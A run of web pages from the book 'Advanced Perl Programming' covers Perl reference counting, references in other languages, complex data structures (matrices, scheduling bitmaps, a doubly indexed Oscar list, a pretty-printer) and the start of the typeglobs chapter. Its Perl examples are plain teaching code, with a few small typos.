A variable logically represents a binding between a name and a value, as Figure 1.3 illustrates.[6]

[6] This is true whether the variable is global, dynamically scoped (using local()), or lexically scoped (using my()). More details are given in Chapter 3.

Figure 1.3: A variable is a name and value pair

An array or a hash is not just a collection of numbers or strings. It is a collection of scalar values, and this distinction is important, as Figure 1.4 illustrates.

Figure 1.4: An array value is a collection of scalar values

Each box in Figure 1.4 represents a distinct value. An array has one value that represents the collection of scalar values. Each element of the array is a distinct scalar value. This is analogous to a pride of lions being treated as a single entity (which is why we refer to it in the singular) that has properties distinct from those of the individual lion.

Notice also that while a name always points to a value, a value doesn't always have to be pointed to by a name, as the array elements in Figure 1.4 or anonymous arrays and hashes exemplify.

1.6.1 Reference Counts

To support painless and transparent memory management, Perl maintains a reference count for every value, whether it is directly pointed to by a name or not. Let's add this piece of information to our earlier view. Refer to Figure 1.5.

Figure 1.5: Adding reference counts to all values

As you can see, the reference count represents the number of arrows pointing to the value part of a variable. Because there is always an arrow from the name to its value, the variable's reference count is at least 1. When you obtain a reference to a variable, the corresponding value's reference count is incremented.

It is important to stress the point that even though we would like to think of $ra as pointing to $a, it really points to $a's value. In fact, $ra does not even know whether the value it is pointing to has a corresponding entry in the symbol table. The value of the reference variable is the address of another scalar value, which does not change even if $a's value changes.

Perl automatically deletes a value when its reference count drops to zero. When variables (named values) go out of scope, the binding between the name and the value is removed, resulting in the value's reference count being decremented. In the typical case in which this count is 1, the value is deleted (or garbage collected ).[7]

[7] For efficiency, Perl doesn't actually delete it; it just sends it to its own free pool and reuses it when you need a new value. It is logically deleted, nevertheless.

The reference counting technique is sometimes referred to as "poor man's garbage collection," in contrast to much more sophisticated techniques used by environments such as LISP, Java, and Smalltalk (though the early versions of Smalltalk used reference counting). The problem is that reference counts take up space, which adds up if you consider that every piece of data in your application has an extra integer associated with it.

Then there is also the problem of circular references. The simplest case is this:

$a = \$a;

This is a classic case of narcissism. $a's reference count indicates that something is pointing to it, so it will never get freed. A more practical case of circular references is that of network graphs (each node keeps track of each of its neighbors) or ring buffers (where the last element points to the first one). Modern garbage collection algorithms implemented in Java and Smalltalk can detect circular references and deallocate the entire circular structure if none of the elements are reachable from other variables.

On the other hand, reference counting is simple to understand and implement and makes it easy to integrate Perl with C or C++ code. Please refer to item 2 in the Section 1.8, "Resources" section at the end of the chapter for a comprehensive treatment of garbage collection techniques.

Note that while symbolic references allow you to access variables in an indirect way, no actual reference variables are created. In other words, the reference count of a symbolically accessed variable is not modified. Hence symbolic references are also called soft references, in contrast to hard references, which actually allocate storage to keep track of the indirection.

This is similar to the concept of soft versus hard links in the Unix filesystem. The i-node of a file has its reference count incremented every time someone creates a hard link to that file, so you can't really delete the file's contents until its reference count goes down to zero. A symbolic link, on the other hand, stores only the name of the file and can point to a nonexistent file; you'll never know until you try to open the file using the symbolic link.

1.6.2 Array/Hash References Versus Element References

Recall that there is a distinction between the array as a whole and each of its constituent scalar values. The array's value maintains its own reference count, and each of its elements has its own. When you take a reference to an array, its own reference count is incremented without its elements getting affected, as shown in Figure 1.6.

Figure 1.6: Taking a reference to an array

In contrast, Figure 1.7 shows the picture when you create a reference to an element of an array or a hash.

Figure 1.7: Referring to a list element

When you take a reference to an element of an array (or a hash), Perl increments that scalar value's reference count. If, say, you now pop it from the array, its reference count goes down by 1 because the array is no longer interested in the scalar value. But since there is an outstanding reference to the array element (and its reference count is still 1), it is not destroyed. Figure 1.8 shows the picture after @array has been popped once.

Figure 1.8: @array popped once; $r_array_elem holds on to the popped scalar

Previous: 1.5 Symbolic References | Advanced Perl Programming | Next: 1.7 References in Other Languages
1.5 Symbolic References | Book Index | 1.7 References in Other Languages


[Chapter 1] 1.7 References in Other Languages

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

1.7 References in Other Languages

1.7.1 Tcl

Tcl does not have a way of dynamically allocating anonymous data structures but, being a dynamic language, supports creation of new variables (names assigned automatically) at run-time. This approach is not only slow, but also highly error prone. In addition, the only way to pass a variable by reference is to pass the actual name of a variable, such as Perl's symbolic references. All this makes it very difficult to create complex data structures (and very unmaintainable if you do so). But, in all fairness, it must be stressed that Tcl is meant to be a glue language between applications and toolkits, and it is expected that most complex processing happens in the C-based application itself, rather than within the script. Tcl was not designed to be used as a full-fledged scripting or development language (though I have heard that its limited scope hasn't stopped people from writing 50,000-line scripts to drive oil rigs!).

1.7.2 Python

Python is similar to Java in that, except for fundamental types, all objects are passed around by reference. This means that assigning a list-valued variable to another simply results in the second list variable being an alias of the first; if you want a copy, you have to explicitly do so and pay the corresponding price in performance. I much prefer this style to Perl's because you typically refer to structures much more than making a copy, and it is nice to have a default that is efficient and eases typing.

Like Perl, Python reference counts each of its data types, including user-defined types defined in C/C++ extensions.

1.7.3 C/C++

C and C++ support pointers whose type safety can be checked at compile time. Since a pointer contains the raw address of the data, a reference to a piece of data is as efficient and compact as it gets. On the other hand, this puts all the responsibility of memory management on the programmer. It is worth examining the implementation of interpreters such as Tcl, Perl, and Python (all having been implemented in C) to learn about memory management strategies.

C++ supports the notion of references, which allows you to create aliases to existing variables. This facility is reminiscent of the typeglob aliasing facility (which we'll study in Chapter 3) but bears no resemblance to Perl references.

1.7.4 Java

In Java, everything is passed by reference except for fundamental types such as int and float. There are no issues of memory management, since the Java framework supports garbage collection (which runs in a separate thread so as not to freeze up the application threads). Being as rich as C++ in data types and with no memory management hassles, it holds immense promise for programming-in-the-large.

Previous: 1.6 A View of the Internals | Advanced Perl Programming | Next: 1.8 Resources
1.6 A View of the Internals | Book Index | 1.8 Resources


[Chapter 1] 1.8 Resources

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

1.8 Resources

  1. perlref (Perl documentation)

  2. Uniprocessor Garbage Collection Techniques. Paul Wilson. International Workshop on Memory Management, 1992.

    This paper gives a comprehensive treatment of GC issues. Available from ftp://ftp.cs.utexas.edu/pub/garbage/gcsurvey.ps

Previous: 1.7 References in Other Languages | Advanced Perl Programming | Next: 2. Implementing Complex Data Structures
1.7 References in Other Languages | Book Index | 2. Implementing Complex Data Structures


[Chapter 2] Implementing Complex Data Structures

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book
Previous: 1.8 Resources Chapter 2 Next: 2.2 Example: Matrices

2. Implementing Complex Data Structures

Contents:
User-Defined Structures
Example: Matrices
Professors, Students, Courses
Pass the Envelope
Pretty-Printing
Resources

Don't worry, spiders,
I keep house
casually.

- Kobayashi Issa

The success of Perl is a tribute to the fact that many problems can be solved by using just its fundamental data types. Jon Bentley's books Programming Pearls and More Programming Pearls are further testament to how much can be achieved if the basic data structures are dynamic and memory management is automatic. But as programs become more complex, moving from the domain of the script to that of the application, there is an increasing need for representing data in much more complex ways than can sometimes be achieved with the basic data types alone.

In this chapter, we will apply the syntax and concepts learned in Chapter 1, Data References and Anonymous Storage to a few "real" examples. We will write bits of code that build complex structures from file-based data and use sequences of $'s and @'s without batting an eyelid. For each problem, we will examine different ways of representing the same data and study the trade-offs in program versus programmer efficiency. In the interest of clarity, we will not worry too much about error handling.

Tom Christiansen has written an excellent series of tutorials called FMTEYEWTK (Far More Than Everything You've Ever Wanted to Know!) [3]. This series contains a motley collection of topics that crop up on the Perl Usenet groups. I admire them for their lucid, patient, and detailed explanations and recommend that you read them at some point. (Now is better!) Some of them are now packaged with the Perl distribution; in particular, the perldsc (data structures cookbook) document is a tutorial for building and manipulating complex structures.

Before we start the examples, we will study what it takes to create structures � la C or C++.

2.1 User-Defined Structures

The struct declaration in C provides a notion of user-defined types (though it doesn't quite have first-class status, like an int), and a typedef statement is then used to alias it to a new type name. Java and C++ have the class declaration to compose new data types out of fundamental data types. These constructs allow you to combine a bunch of named attributes under a single banner but still provide access to each individual attribute.

Perl has no such built-in template feature.[1] One commonly used convention is to simulate structures using a hash table, as shown in Figure 2.1.

[1] We'll discuss a module called ObjectTemplate in Chapter 7, Object-Oriented Programming, that provides this.

Figure 2.1: Simulating C structures with Perl hashes

Perl's implementation of hash tables is actually quite efficient in terms of both performance and space. Since hash keys are immutable strings, Perl keeps only one systemwide copy of a hash key. This prevents a hundred foo structures from creating a hundred copies of the strings a and str.

Another way to create a user-defined collection of attributes is to use an array @foo instead, which is slightly more efficient, yet a tad more cumbersome:

$a = 0; $str = 1;     # Indices
$foo[$a]   = 10;      # Equivalent to foo.a = 10 in C.
$foo[$str] = "hello"; # equivalent to foo.str = "hello" in C.

Remember, if a certain data structure is represented far more easily in C than in Perl and requires a considerable amount of manipulation, you could consider keeping it in C/C++ itself and not bother duplicating it in Perl. You will need to provide a set of C procedures that can manipulate this data. A very simple tool called SWIG (discussed in Chapter 18, Extending Perl:A First Course) allows you to do this painlessly.

You can also use pack or sprintf to encode a set of values to get one composite entity, but accessing individual data elements is neither convenient nor efficient (in time). pack is a good option when you need to be frugal about space, because it converts a list of values into one scalar value without necessarily changing each individual item's machine representation; sprintf is less efficient in this regard, because it converts everything to a printable representation.

Previous: 1.8 Resources | Advanced Perl Programming | Next: 2.2 Example: Matrices
1.8 Resources | Book Index | 2.2 Example: Matrices


[Chapter 2] 2.2 Example: Matrices

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

2.2 Example: Matrices

Before we embark on this example, you must know that if you really want a good efficient implementation of matrices, you should check out the PDL module (Perl Data Language) from CPAN.

To gain a better understanding of different matrix representations, we will write routines to construct these structures from a data file and to multiply two matrices. The file is formatted as follows:

MAT1
1  2  4
10 30 0

MAT2
5  6
1  10

Each matrix has a label and some data. We use these labels to create global variables with the corresponding names (@MAT1 and @MAT2).

An array of arrays is the most intuitive representation for a matrix in Perl, since there is no direct support for two-dimensional arrays:

@matrix = (
    [1, 2, 3],
    [4, 5, 6],
    [7, 8, 9]
);
# Change 6, the element at row  1, column 2 to 100
$matrix[1][2] = 100;

Note that @matrix is a simple array whose elements happen to be references to anonymous arrays. Further, recall that $matrix[1][2] is a simpler way of saying $matrix[1]->[2].

Example 2.1 reads the file and creates the array of arrays structure for each matrix. Pay particular attention to the push statement (highlighted); it uses the symbolic reference facility to create variables (@{$matrix_name}) and appends a reference to a new row in every iteration. We are assured of newly allocated rows in every iteration because @row is local to that block, and when the if statement is done, its contents live on because we squirrel away a reference to the array's value. (Recall that it is the value that is reference counted, not the name.)

Example 2.1: Reading a Matrix from a File

sub matrix_read_file {
    my ($filename) = @_;
    open (F, $filename) || die "Could not open $filename: $!";
    while ($line = <F>) {
        chomp($line);
        next if $line =~ /^\s*$/; # skip blank lines
        if ($line =~ /^([A-Za-z]\w*)/) {
            $matrix_name = $1;
        } else {
            my (@row) = split (/\s+/, $line);
            push (@{$matrix_name}, \@row;) # insert the row-array into
                                           # the outer matrix array
        }
    }
    close(F);
}

Now let us use this array-of-arrays structure to multiply two matrices. In case you have forgotten how matrix multiplication works, the product of two matrices Amn (m rows, n columns) and Bnp is defined as

The element (i, j) of the matrix product is the sum of successive pairs of elements taken from the ith row of A and the jth column of B. Translated into Perl, it looks like Example 2.2.

Example 2.2: Matrix Multiply

sub matrix_multiply {
    my ($r_mat1, $r_mat2) = @_;       # Taking matrices by reference
    my ($r_product);                  # Returing product by reference
    my ($r1, $c1) = matrix_count_rows_cols ($r_mat1);
    my ($r2, $c2) = matrix_count_rows_cols ($r_mat2);
    die "Matrix 1 has $c1 columns and matrix 2 has $r2 rows."
         . " Cannot multiply\n" unless ($c1 == $r2);
    for ($i = 0; $i < $r1; $i++) {
        for ($j = 0; $j < $c2; $j++) {
            $sum = 0;
            for ($k = 0; $k < $c1; $k++) {
                $sum += $r_mat1->[$i][$k] * $r_mat2->[$k][$j];
            }
            $r_product->[$i][$j] = $sum;
        }
    }
    $r_product;
}

sub matrix_count_rows_cols {  # return number of rows and columns
    my ($r_mat)  = @_;
    my $num_rows = @$r_mat;
    my $num_cols = @{$r_mat->[0]}; # Assume all rows have an equal no.
                                   # of columns.
    ($num_rows, $num_cols);
}

matrix_multiply takes two matrices by reference. A single element is obtained as $r_mat->[$i][$j], and a single row is obtained as $r_mat->[0].

2.2.1 Hash of Hashes Representation

If the matrix is large and sparse (only a few elements have nonzero values), a hash of hashes is likely a more space-efficient representation. For example, the matrix

can be built like this:

$matrix{0}{2} = 100;
$matrix{1}{0} = 200;
$matrix{2}{1} = 300;

The code above creates a hash table, %matrix, which maps a row number to a nested hash. Only rows with nonzero elements are represented. Each nested hash maps a column number to the actual value of the element at that row and column. Again, only columns with nonzero values in that row are represented. Of course, we have to store the total number of rows and columns separately, since unlike the array representation, these numbers are not implicit. Since %matrix is a hash, they can be stored as $matrix{rows} and $matrix{cols}. Because hash indices are strings, this approach is efficient only if the matrix is large and sparse.

To make the matrix routines developed in the previous section work for this new representation, it might seem a simple matter to convert all square brackets to braces. True, it'll work, but there's a subtle problem. Let's say that the entire third row of a matrix is zero-valued (so there's no entry for $r_mat->{2}). Now, if you do this:

$element = $r_mat->{2}{3};

Perl automatically creates an entry for $r_mat->{2}, and hangs a hash reference off this entry. (The nested hash table is not created.) Thus the very act of examining an element gobbles up space, which is what we had hoped to avoid in the first place when we chose the hash of hashes representation. To prevent this, we have to check for the presence of a hash element with exists before retrieving it, as shown next:

if ((exists $r_mat->{$row}) && (exists $r_mat->{$row}{$col})) {
   ....

2.2.2 Other Matrix Representations

If the columns are sparse but the rows are well represented, you could choose an array of hashes structure. It is possible to store a matrix even more economically in terms of space, using a single hash table, at the expense of more complex code. If you imagine the matrix as a grid and number each cell of the grid consecutively, any cell can then be identified with exactly one unique number. So in a matrix with 10 rows and 5 columns, the element (8, 4) will have the number 38 (7 * 5 + 3) and hence can be referred to as $r_mat->{38}. We actually use this scheme in Chapter 15, GUI Example: Tetris (though that usage is more for convenience than for saving space). The choice of data structure depends on the size of the matrices, performance, and coding convenience.

Changing the data structure of a program clearly ends up changing all code that depends on it. To contain the amount of changes required (should the structure change), it is always a good idea to have only a small set of procedures that know the structure. For example, if you had procedures such as create_matrix( ), get_element(mat,i,j), and set_element(mat,i,j), other procedures do not have to know the internal representation. Coding for change is often better than coding for run-time efficiency. We'll discuss this approach a great deal more in Chapter 7.

Previous: 2.1 User-Defined Structures | Advanced Perl Programming | Next: 2.3 Professors, Students, Courses
2.1 User-Defined Structures | Book Index | 2.3 Professors, Students, Courses


[Chapter 2] 2.3 Professors, Students, Courses

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

2.3 Professors, Students, Courses

This example shows how you might represent professor, student, and course data as hierarchical records and how to link them up. Assume that the data files look like this:

#file: professor.dat
id          : 42343                #Employee Id
Name        : E.F.Schumacher
Office Hours: Mon 3-4, Wed 8-9
Courses     : HS201, SS343         #Course taught
...

#file: student.dat
id          : 52003                 # Registration id
Name        : Garibaldi
Courses     : H301, H302, M201      # Courses taken
...
#file: courses.dat
id          : HS201
Description : Small is beautiful
Class Hours : Mon 2-4, Wed 9-10, Thu 4-5
...

Each "id:" line starts a new record.

Among other tasks, let us say we are required to find out whether there is a scheduling conflict on professors' and students' hours. Because our focus is on data representation and getting a feel for Perl's reference syntax, we will look at implementing only some parts of the problem.

2.3.1 Representation

A hash table is a good representation for a heterogeneous record, as we mentioned earlier, so a student structure may be implemented like this:

$student{42343} = {
    'Name'    => 'Garibaldi',
    'Courses' => [ ]};

A number of subtle design choices have been made here.

We could have replaced "foreign keys" (to use the database term) such as "HS201" with references to the corresponding course data structures. We didn't, because it is then tempting to directly dereference these references, in which case the student code is aware of how the course data is structured.

We maintain separate global hash tables for students, courses, and professors - yet another effort to keep mostly unrelated data completely separate and to make it possible to change a part of the system without affecting everyone.

There is one piece of data we haven't discussed before: time ranges. Both professors and courses have certain "busy" or "active" hours. What is a good representation for this? You might choose to represent the line "Mon 2-3, Tue 4-6" as follows:

$time_range = {
    'Mon' => [2,3],
    'Tue' => [4,6]
};

There is a much simpler representation, in case you haven't already guessed it. The key insight is that since we are concerned only with clashes in time, the system should be able to quickly tell us whether a professor or a course is "active" in a given hour of the week or not. Considering that there are only 24 * 7 = 168 hours in a week, the entire week's schedule can be represented by a bitmap vector of 21 bytes (168/8). If a bit is set, we know that the professor is teaching something in that hour. In fact we can reduce the storage requirements further if we only account for the effective hours in a week (say, 7:00 A.M. to 7:00 P.M., Monday to Friday). That brings it down to 8 bytes (12 hours * 5 days / 8). The nice thing here is that an entire sequence of time ranges boils down to one scalar containing a bitmap vector. The other cool thing is that you can obtain time conflicts by logically AND-ing two bitmaps.

Having settled the representation, let us write some code to read the professor.dat file, and construct the data structures.

Example 2.3: Read professor.dat and Create Hierarchical Records in Memory

my (%profs);  # prof_read_file() populates this data structure from file

sub prof_read_file {
    my ($filename) = @_;
    my ($line, $curr_prof);
    open (F, $filename) || die "Could not open $filename";
    while ($line = <F>) {
        chomp($line);
        next if $line =~ /^\s*$/;       # skip blank lines
        if ($line =~ /^id.*:\s*(.*)/) {
            # Use an anonymous hash to store a professor's data
            $profs{$1} = $curr_prof = {};
        } elsif ($line =~ /^Office Hours.*:\s*(.*)/) {
            # $1 contains a string like 'Mon 2-3, Tue 4-6'
            $curr_prof->{Office Hours} = interval_parse($1);
        } elsif ($line =~ /^Courses.*:\s*(.*)/) {
            # $1 contains something like 'HS201, MA101'
            my (@courses_taught) =  split(/[\s,]+/, $1);
            $curr_prof->{Courses} = \@courses_taught;
        }
    }
}

Notice that the courses_taught array is local to the block. When the block ends, $curr_prof->{Courses} continues to hang on to this array. You can omit one step like this:

$curr_prof->{Courses} = [split(/[\s,]+/, $1)];

I prefer the earlier approach because it is more readable.

The interval_parse method parses a string such as "Mon 3-5, Wed 2-6" into a bit string, as was mentioned earlier. The code looks like this:

# Each hour in a week (with days from 7am to 7pm) gets its own
# unique bit in an 8-byte string.
# Mon 7-8 is the 0th bit, Mon 6-7pm is 11, ... Fri 6-7 (pm) is 60th.
my %base_hours = (
   mon => 0, tue => 12, wed => 24 , thu => 36, fri => 48
);
sub interval_parse {
    my ($interval_sequence) = @_; #contains "Mon 3-5, Tue 2-6"
    my ($time_range) = "";
    foreach $day_hours (split /,/, $interval_sequence) {
       # $day_hours contains "Mon 3-5" etc.
       my ($day, $from, $to) =
           ($day_hours =~ /([A-Za-z]+).*(\d+)-(\d+)/);
       # if $from or $to is less than 7, it must be afternoon. Normalize
       # it by adding 12. Then reduce it to a zero base by subtracting 7
       # (that is, 7 hrs to 19 hrs becomes 0 - 12. Finally,
       # normalize each hour in a day with respect to weekly hours,
       # by adding in the day's "base hour"
       $to = 19 if $to == 7;
       $from += 12 if $from < 7 ; $to += 12  if $to <= 7;
       my $base = $base_hours{lc $day};
       $from += $base - 7; $to += $base - 7;
       # At this point Tue 7a.m ==> 12 and Tue 4 p.m => 21
       for ($i = $from; $i < $to;  $i++) {
           # Set the corresponding bit
           vec($time_range, $i, 1) = 1;
       }
    }
    $time_range;
}

To check for scheduling constraints on a professor's time, we have to calculate overlapping hours between the professor's office hours and each course he or she teaches and between the courses themselves, as shown in Example 2.4.

Example 2.4: Checking Constraints on a Professor's Time

sub prof_check_constraints {
    my ($prof) = @_;
    my $r_prof = $profs{$prof};  # %profs created by prof_read_file
    my $office_hours = $r_prof->{Office Hours};
    my $rl_courses = $r_prof->{Courses};
    for $i (0 .. $#{$rl_courses}) {
       $course_hours = course_get_hours($rl_courses->[$i]);
       if (interval_conflicts($office_hours, $course_hours)) {
           print "Prof. ", $r_prof->{name},
               " Office hours conflict with course $course_taught\n";
       }
       for $j ($i .. $#{$rl_courses}) {
           my ($other_course_hours) = course_get_hours($rl_courses->[$j]);
           if (interval_conflicts ($course_hours, $other_course_hours)) {
               print "Prof. ", $r_prof->{name},
                ": Course conflict: ", $rl_courses->[$i], " "
                                       $rl_courses->[$j], "\n";
       }
    }
}

The subroutine interval_conflicts simply compares the two bitmaps, as shown below:

sub interval_conflicts {
    my ($t1, $t2) = @_;
    my ($combined) = $t1 & $t2;
    # $combined will have at least one bit set if there's a conflict
    my $offset = length($combined) * 8;
    # start counting down from last bit, and see if any is set
    while (--$offset >= 0) {
        return 1 if vec($combined,$offset,1);
    }
    return 0;
}

Note that all knowledge of the internal representation of a time interval is encapsulated in functions with the prefix interval_. These functions thus encapsulate an abstract data type called "interval." When we study modules and objects in later chapters, we will learn ways of organizing such pieces of code into reusable entities.

Previous: 2.2 Example: Matrices | Advanced Perl Programming | Next: 2.4 Pass the Envelope
2.2 Example: Matrices | Book Index | 2.4 Pass the Envelope


[Chapter 2] 2.4 Pass the Envelope

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

2.4 Pass the Envelope

Let us say we are given a text file containing Academy Award (Oscar) winners by year and category, formatted as follows:

1995:Actor:Nicholas Cage
1995:Picture:Braveheart
1995:Supporting Actor:Kevin Spacey
1994:Actor:Tom Hanks
1994:Picture:Forrest Gump
1928:Picture:WINGS

We would like to provide the following services:[2]

  • Given a year and category, print the corresponding entry.

  • Given a year, print all entries for that year.

  • Given a category, print the year and title of all entries for that category.

  • Print all entries sorted by category or by year.

[2] To see real historical databases for the Oscars, look at http://oscars.guide.com/. (Illustra, an object-oriented database from Informix, is used for the grunge work.)

2.4.1 Data Representation

Since we would like to retrieve entries by category or by year, we use a double indexing scheme, as shown in Figure 2.2.

Figure 2.2: Data structure to represent Oscar winners

Each entry includes a category, a year, and the name of the corresponding winner. We choose to keep this information in an anonymous array (an anonymous hash would do just as well). The two indices %year_index and %category_index map the year and category to anonymous arrays containing references to the entries. Here is one way to build this structure:

open (F, "oscar.txt") || die "Could not open database: $:";
%category_index = (); %year_index = ();
while ($line = <F>) {
    chomp $line;
    ($year, $category, $name) = split (/:/, $line);
    create_entry($year, $category, $name) if $name;
}

sub create_entry {             # create_entry (year, category, name)
    my($year, $category, $name) = @_;
    # Create an anonymous array for each entry
    $rlEntry = [$year, $category, $name];
    # Add this to the two indices
    push (@{$year_index {$year}}, $rlEntry);         # By Year
    push (@{$category_index{$category}}, $rlEntry);  # By Category
}

Notice that each push statement does a fair bit of work. It creates an entry in the index (if required), hangs an anonymous array off that entry (if required), and pushes the reference to the entry into that array.

Another important thing to notice is how braces have been used to specify the correct precedence in the expression @{$year_index{$year}}. If we had omitted the braces, the expression @$year_index would be evaluated first and then indexed as a hash, according to the rules explained in the section "Confusion About Precedence" in Chapter 1.

2.4.2 Print All Entries for a Given Year

This is a simple matter of traversing the %year_index hash:

sub print_entries_for_year {
    my($year) = @_;
    print ("Year : $year \n");
    foreach $rlEntry (@{$year_index{$year}}) {
        print ("\t",$rlEntry->[1], "  : ",$rlEntry->[2], "\n");
    }
}

2.4.3 Print All Entries Sorted by Year

We already know how to print entries for a given year. Find out all years for which we have data, sort them, and call print_entries_for_year for each year:

sub print_all_entries_for_year {
    foreach $year (sort keys %year_index) {
        print_entries_for_year($year);
    }
}

2.4.4 Print a Specific Entry, Given a Year and Category

We can traverse either index, and we choose to traverse the %year_index index, since there are substantially fewer categories per year than the number of years for which a category is valid:

sub print_entry {
    my($year, $category) = @_;
    foreach $rlEntry (@{$year_index{$year}}) {
        if ($rlEntry->[1] eq $category) {
            print "$category ($year), ", $rlEntry->[2], "\n";
            return;
        }
    }
    print "No entry for $category ($year) \n";
}

Previous: 2.3 Professors, Students, Courses | Advanced Perl Programming | Next: 2.5 Pretty-Printing
2.3 Professors, Students, Courses | Book Index | 2.5 Pretty-Printing


[Chapter 2] 2.5 Pretty-Printing

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

2.5 Pretty-Printing

In building complicated data structures, it is always nice to have a pretty-printer handy for debugging. There are at least two options for pretty-printing data structures. The first is the Perl debugger itself. It uses a function called dumpValue in a file called dumpvar.pl, which can be found in the standard library directory. We can help ourselves to it, with the caveat that it is an unadvertised function and could change someday. To pretty-print this structure, for example:

  @sample = (11.233,{3 => 4, "hello" => [6,7]});

we write the following:

require 'dumpvar.pl';
dumpValue(\@sample); # always pass by reference

This prints something like this:

0  11.233
1  HASH(0xb75dc0)
   3 => 4
   'hello' => ARRAY(0xc70858)
      0  6
      1  7

We will cover the require statement in Chapter 6, Modules. Meanwhile, just think of it as a fancy #include (which doesn't load the file if it is already loaded).

The Data::Dumper module available from CPAN is another viable alternative for pretty-printing. Chapter 10, Persistence, covers this module in some detail, so we will not say any more about it here. Both modules detect circular references and handle subroutine and glob references.

It is fun and instructive to write a pretty-printer ourselves. Example 2.5 illustrates a simple effort, which accounts for circular references but doesn't follow typeglobs or subroutine references. This example is used as follows:

pretty_print(@sample); # Doesn't need a reference

This prints

11.233
{ # HASH(0xb78b00)
:  3 => 4
:  hello =>
:  :  [ # ARRAY(0xc70858)
:  :  :  6
:  :  :  7
:  :  ]
}

The following code contains specialized procedures (print_array, print_hash, or print_scalar) that know how to print specific data types. print_ref, charged with the task of pretty-printing a reference, simply dispatches control to one of the above procedures depending upon the type of argument given to it. In turn, these procedures may call print_ref recursively if the data types that they handle contain one or more references.

Whenever a reference is encountered, it is also checked with a hash %already_seen to determine whether the reference has been printed before. This prevents the routine from going into an infinite loop in the presence of circular references. All functions manipulate the global variable $level and call print_indented, which appropriately indents and prints the string given to it.

Example 2.5: Pretty-Printing

$level = -1; # Level of indentation

sub pretty_print {
    my $var;
    foreach $var (@_) {
        if (ref ($var)) {
            print_ref($var);
        } else {
            print_scalar($var);
        }
    }
}

sub print_scalar {
    ++$level;
    my $var = shift;
    print_indented ($var);
    --$level;
}

sub print_ref {
    my $r = shift;
    if (exists ($already_seen{$r})) {
        print_indented ("$r (Seen earlier)");
        return;
    } else {
        $already_seen{$r}=1;
    }
    my $ref_type = ref($r);
    if ($ref_type eq "ARRAY") {
        print_array($r);
    } elsif ($ref_type eq "SCALAR") {
        print "Ref -> $r";
        print_scalar($$r);
    } elsif ($ref_type eq "HASH") {
        print_hash($r);
    } elsif ($ref_type eq "REF") {
        ++$level;
        print_indented("Ref -> ($r)");
        print_ref($$r);
        --$level;
    } else {
        print_indented ("$ref_type (not supported)");
    }
}

sub print_array {
    my ($r_array) = @_;
    ++$level;
    print_indented ("[ # $r_array");
    foreach $var (@$r_array) {
        if (ref ($var)) {
            print_ref($var);
        } else {
            print_scalar($var);
        }
    }
    print_indented ("]");
    --$level;
}

sub print_hash {
    my($r_hash) = @_;
    my($key, $val);
    ++$level;
    print_indented ("{ # $r_hash");
    while (($key, $val) = each %$r_hash) {
        $val = ($val ? $val : '""');
        ++$level;
        if (ref ($val)) {
            print_indented ("$key => ");
            print_ref($val);
        } else {
            print_indented ("$key => $val");
        }
        --$level;
    }
    print_indented ("}");
    --$level;
}

sub print_indented {
    $spaces = ":  " x $level;
    print "${spaces}$_[0]\n";
}

print_ref simply prints its argument (a reference) and returns if it has already seen this reference. If you were to read the output produced by this code, you would find it hard to imagine which reference points to which structure. As an exercise, you might try producing a better pretty-printer, which identifies appropriate structures by easily identifiable numeric labels like this:

:  hello =>
:  :  [          # 10
:  :  :  6
:  :  :  7
:  :  ]
:  foobar => array-ref # 10
}

The number 10 is an automatically generated label, which is more easily identifiable than something like ARRAY(0xc70858).

Previous: 2.4 Pass the Envelope | Advanced Perl Programming | Next: 2.6 Resources
2.4 Pass the Envelope | Book Index | 2.6 Resources


[Chapter 2] 2.6 Resources

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

2.6 Resources

  1. The FMTYEWTK series (Far More Than You Ever Wanted To Know). Tom Christiansen. Available at http://www.perl.com/perl/everything_to_know

Previous: 2.5 Pretty-Printing | Advanced Perl Programming | Next: 3. Typeglobs and Symbol Tables
2.5 Pretty-Printing | Book Index | 3. Typeglobs and Symbol Tables


[Chapter 3] Typeglobs and Symbol Tables

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book
Previous: 2.6 Resources Chapter 3 Next: 3.2 Typeglobs

3. Typeglobs and Symbol Tables

Contents:
Perl Variables, Symbol Table, and Scoping
Typeglobs
Typeglobs and References
Filehandles, Directory Handles, and Formats

We are symbols, and inhabit symbols.

- Ralph Waldo Emerson

This chapter discusses typeglobs, the symbol table, filehandles, formats, and the differences between dynamic and lexical scoping. At first sight, these topics may seem to lack a common theme, but as it happens, they are intimately tied to typeglobs and symbol tables.

Typeglobs are immensely useful. They allow us to efficiently create aliases of symbols, which is the basis for a very important module called Exporter that is used in a large number of freely available modules. Typeglobs can also be aliased to ordinary references in such a way that you don't have to use the dereferencing syntax; this is not only easier on the eye, it is faster too. At the same time, using typeglobs without understanding how they work can lead to a particularly painful problem called variable suicide. This might explain why most Perl literature gives typeglobs very little attention.

Closely related to typeglobs and symbol tables is the subject of dynamic versus lexical scoping (using local versus my). There are a couple of useful idioms that arise from these differences.

This is the only chapter that starts off by giving a picture of what is going on inside, rather than first presenting examples that you can use directly. The hope is that you will find the subsequent discussions really easy to follow.

3.1 Perl Variables, Symbol Table, and Scoping

Variables are either global or lexical (those tagged with my). In this section we briefly study how these two are represented internally. Let us start with global variables.

Perl has a curious feature that is typically not seen in other languages: you can use the same name for both data and nondata types. For example, the scalar $spud, the array @spud, the hash %spud, the subroutine &spud, the filehandle spud, and the format name spud are all simultaneously valid and completely independent of each other. In other words, Perl provides distinct namespaces for each type of entity. I do not have an explanation for why this feature is present. In fact, I consider it a rather dubious facility and recommend that you use a distinct name for each logical entity in your program; you owe it to the poor fellow who's going to maintain your code (which might be you!).

Perl uses a symbol table (implemented internally as a hash table)[1] to map identifier names (the string "spud" without the prefix) to the appropriate values. But you know that a hash table does not tolerate duplicate keys, so you can't really have two entries in the hash table with the same name pointing to two different values. For this reason, Perl interposes a structure called a typeglob between the symbol table entry and the other data types, as shown in Figure 3.1; it is just a bunch of pointers to values that can be accessed by the same name, with one pointer for each value type. In the typical case, in which you have unique identifier names, all but one of these pointers are null.

[1] Actually, it is one symbol table per package, where each package is a distinct namespace. For now, this distinction does not matter. We'll revisit this issue in Chapter 6, Modules.

Figure 3.1: Symbol table and typeglobs

